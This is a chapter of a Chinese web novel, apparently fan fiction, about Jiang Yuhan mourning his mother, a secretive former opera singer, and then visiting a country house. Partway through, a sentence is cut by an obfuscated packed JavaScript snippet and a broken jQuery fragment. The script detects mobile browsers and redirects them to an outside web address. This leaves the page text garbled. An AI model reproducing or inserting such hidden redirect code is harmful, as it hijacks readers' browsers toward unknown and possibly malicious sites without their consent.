戏上的事情，娘亲似乎无一不精、无一不通，可蒋玉菡长到这般大，从未听见她正经开过一次嗓、唱过一句词。
若是传统的师带徒模式，该当是娘教一句、他学一句，可是娘不肯唱，所以又请了一位男伶来，也姓蒋，娘让他称呼那人为“小师叔”。
小师叔教他唱的时候，娘就坐在一边听着，手持一根细木棍。若有哪里觉得唱得不好，便敲一敲桌面，将这对临时拼凑的师徒打断，如此反复多次，小师叔也从不以为忤，反而常常虚心请教，每当这时，娘便与他悄悄耳语一回，小师叔脸上往往是恍然大悟的表情，接下来再教时，果然又再精妙几分。
小师叔除了在约定的日子里风雨无阻地来教他唱戏外，别的事情一概不问、一概不管，也从不在家里吃饭、留宿，有时天色将晚，见小师叔一个人要走，蒋玉菡有些过意不去，想要留他吃过饭再走，可看娘的脸色，话到嘴边的邀请便说不出口了。
蒋玉菡听见过一次小师叔和娘说话，他说师傅不怪她了，但是如今年纪越来越大了，身子骨儿越发不好了，又念旧，让娘若有空儿时回去看看。
不知道娘最后有没有去。
娘有太多谜团了，蒋玉菡不明白，她是那样热烈又执着地教他学戏，标准极高、极严苛，不允许任何谬误出现、玷辱戏文，可另一方面，蒋玉菡觉得，娘亲对唱戏又有一种深入骨髓的冷淡，她似乎有意地要远离与戏有关的一切。
这太矛盾了，所以娘看起来才总是那么不开心。
蒋玉菡不明白，也无从问起。
娘终究没有活到看到他成角儿的那一日。
她常年郁郁不乐，眉间心上总像是满蓄着心事。无人的时候，她也不肯出门去，总是一个人坐在窗前向外怔怔地看着，一望就是半晌。
没人知道娘心里放不下的是什么，也没人能经得起这样长年累月的内心折磨。
她终于熬垮了还算年轻的身子，一病不起，撒手人寰。
临终的那一日，她如往常一般静静地睡在枕上，整个人显得单薄极了。
病势沉重，使得她整个人昏昏沉沉的，无法分辨现实与虚妄，也终于松脱了心中那根紧绷了十几年的弦。
她闭着眼睛，两片干燥起皮的嘴唇轻轻张了张。
蒋玉菡一直守在床前，见状忙将旁边一直煨着的参汤捧过来，轻声问：“娘，喝一口汤，润一润罢。”
她却低低地吁了一口气，慢慢地唱了一句：“‘耳听得马蹄声金锣响震，想必是我郎君金榜题名。’”
蒋玉菡守在榻边，将娘亲的这一句唱听得分明。
娘亲唱得真好听，比他唱的好听一千倍、一万倍，只这两句词儿，便唱尽了一个女子一生的痴与盼，彷徨不定、悒郁难托，是说不尽的真情真意。
娘亲唱罢，倏地睁开眼睛，将头侧了侧，迷离着一双黯淡的眸子，似乎真的在听窗外是否有马蹄声，在等她的郎君衣锦荣归、喜乐团圆。
她母子二人相依为命的这一处小宅院是她精心挑选的，闭塞、幽静、与闹市隔绝。
任凭她再努力去听，也只有寂然无声。
也许是这样的安静使人分外冷静，她似乎从幻梦中稍稍清醒了一些，将目光在眼前熟悉的陈设物事上缓缓转了转，最后落在儿子清俊的面庞上。
她轻轻叹了一口气，用温柔的眼光一遍一遍描摹着孩子的轮廓。
此刻的她不是平日里那个最严厉的教习师傅，只是寻常的、爱孩子胜过一切的娘亲。
蒋玉菡敏感地捕捉到娘亲的变化，心中一紧，忙俯身过去、低低地唤她。
她道：“好孩子，你一定愿意叫‘琪官’，那便由得你罢。”
世上有那许多既漂亮、寓意又好的字，他偏偏喜欢这个“琪”，这也是没办法的事。
她忽然想起小时候的自己，那时候师傅不喜欢她用那个“沉”字，耐着性子同她讲了很多道理，而她也是一定不肯改换，师傅到底依了自己，就像自己现在也妥协了一样。
她的脸上浮现出一个淡淡的微笑，那已经是很久很久以前的事情啦。
她轻声道：“好孩子，你要用功些，将来要成角儿，好好儿唱给天下人听。咱们学戏的人，并不短人什么，你的一身骨气是万万不可折堕的，不可教人看低了。”
娘两颧有些不自然的烧红，瞧着十分不详，蒋玉菡心里越发害怕，紧紧握住娘有些发凉的手。这难道是娘最后的嘱托了么，他必然是要应允的。
他刚要应声，却见她闭了闭眼睛，改口道：“算啦，不要唱啦。去做你喜欢的事、自自在在的罢。”
这是前后矛盾的话，他想问娘，自己到底是唱、还是不唱？
可娘已没有了声息，握在他手里的手也越发冰冷起来。
蒋玉菡从喉头艰难地叫了一声娘，声音涩哑，听起来很陌生。沛文跪在旁边，垂着头呜咽起来。
蒋玉菡跪在榻边半晌没有动，他静静地想着娘最后的话，这才明白，自己从前其实是不愿意唱戏的，是因为瞧出娘喜欢，这才缠着要学，且一学就学了这么多年，他自信从未表露出什么，可娘竟然都知道。
他看着榻上杳无声息的娘，她睡在那里，整个人显得那样瘦小。他试图将娘的手重新暖热，可娘的手仿佛是深不见底的冰窟窿一般，不管怎么捂都无济于事。
沛文压抑着哭腔，劝道：“公子，主母已经去了。”
蒋玉菡点点头，却仍未放手。一个日日都能看见的人，一个最疼他、最爱他的人，忽然就要永远消失了，他甚至还没来得及痛苦，就被强烈的恍惚感淹没了。
他茫然地抬头，四处寻找娘的痕迹。
这处娘儿两个住惯了的两进小院，被娘收拾得极干净，娘似乎从来不缺花用，但却异常俭省，一应陈设皆是最必须、最简单的，似乎富丽堂皇是什么令人避之唯恐不及的疫病一般。
他努力地四处看着，仿佛能看到娘在屋子里忙忙碌碌的样子。
除了娘枕头下压着的一块羊脂玉外，其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228931|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
余娘的衣裳、铺盖，蒋玉菡都打点干净，带到城外烧化。
沛文见他连日伤心，祭拜之后，便提议在郊外散散心再回城。
两个人骑着骡子在乡野小路上慢慢走着，前一夜才下过雨，骡子脚下有些湿软，每一步都踏溅一些泥，蒋玉菡嗅着湿润清香的空气，果然心情舒畅了一些。
他想，这里景色怡人，又避世静谧，娘长眠在此，想必也是欢喜的。
两人信步由缰，任由骡子缓缓踱步，各自想着心事，连时间也忘了，一时间走到一处绿树掩映的所在，里面层层叠叠的，瞧着也有几进房屋，修整得十分经心，在这郊野地方，倒也有趣。
那院里有一棵郁郁葱葱的古木，不知经历了多少岁月，依旧茂盛，枝冠伸出了院墙，如同一顶撑开的巨伞一般。
蒋玉菡驻足看了一会儿，这时却有一个中年人自院中走出，见他看得入神，笑道：“小相公喜欢这树？”
蒋玉菡脸上一红，他与这家主人非亲非故，偶然造访，便这样盯着人家的产业看，属实有些冒犯，忙拱手道：“小子失礼了。”
那中年人笑呵呵地道：“不妨、不妨，这是郊野地方，没有那许多讲究，我看小相公眉目清秀、谈吐客气，一定也是好人家的公子，也许是来这里踏青游玩、走迷了道路，这才走到舍下，这也是一重‘缘分’。小相公如若不嫌弃，可到舍下小坐，歇憩少许再赶路。”
蒋玉菡忙谦让道：“我们误至此地，已是扰了主人清净，蒙您宽善不加怪罪，已是感激不尽，怎好再行叨扰，小子们这就告退了。”
那人笑道：“不妨事，这屋里只有我一个人，这‘清净’我也早享得腻烦了，正想有个人说说话。实不相瞒，我也并不是屋主，不过是替主人家看屋罢了。早年间主人家还常来此间避暑，如今老主人年高，不耐车马劳顿，久已不来了。”
蒋玉菡仍有些犹豫，那人却对着方才他驻足欣赏的那棵古树点点头，笑道：“无怪小相公喜欢这树，这却是京里难见的品种，是我家老主人早年花了大气力从南边儿老宅移来的，那时一气儿移了六棵，无奈水土相异，只活了这一棵而已。”
沛文仰着头也看了一回，在心里暗暗咋舌，这么大的树，怎么从南边儿运来的？感慨了一回，一面又觉得可惜，人家在南方活得好好儿的，就为着这家人喜欢，就给人硬刨出来拉到北边，搞得人家活不成了。唔，这么大的树，便是砍成劈柴，也能用好久呢，那死掉的五棵是不是都变了劈柴了？
那人介绍过这树的来历，跟着又盛情邀请蒋玉菡主仆入内歇脚，蒋玉菡推辞不过，这才允了，又再三地谢过他。
中年人十分欢喜，引着蒋玉菡主仆将整座宅子细细游览一遍，每一处景致、每一间屋舍都讲解得十分详尽。
蒋玉菡留心打量，见这人所言不虚，这宅院里外果然只得他一人。想来此人是十分勤力利落的人，即便是长年孤身看守，也将屋舍院落打理得干干净净、整整齐齐，也难怪主家这般放心让他自己在这里。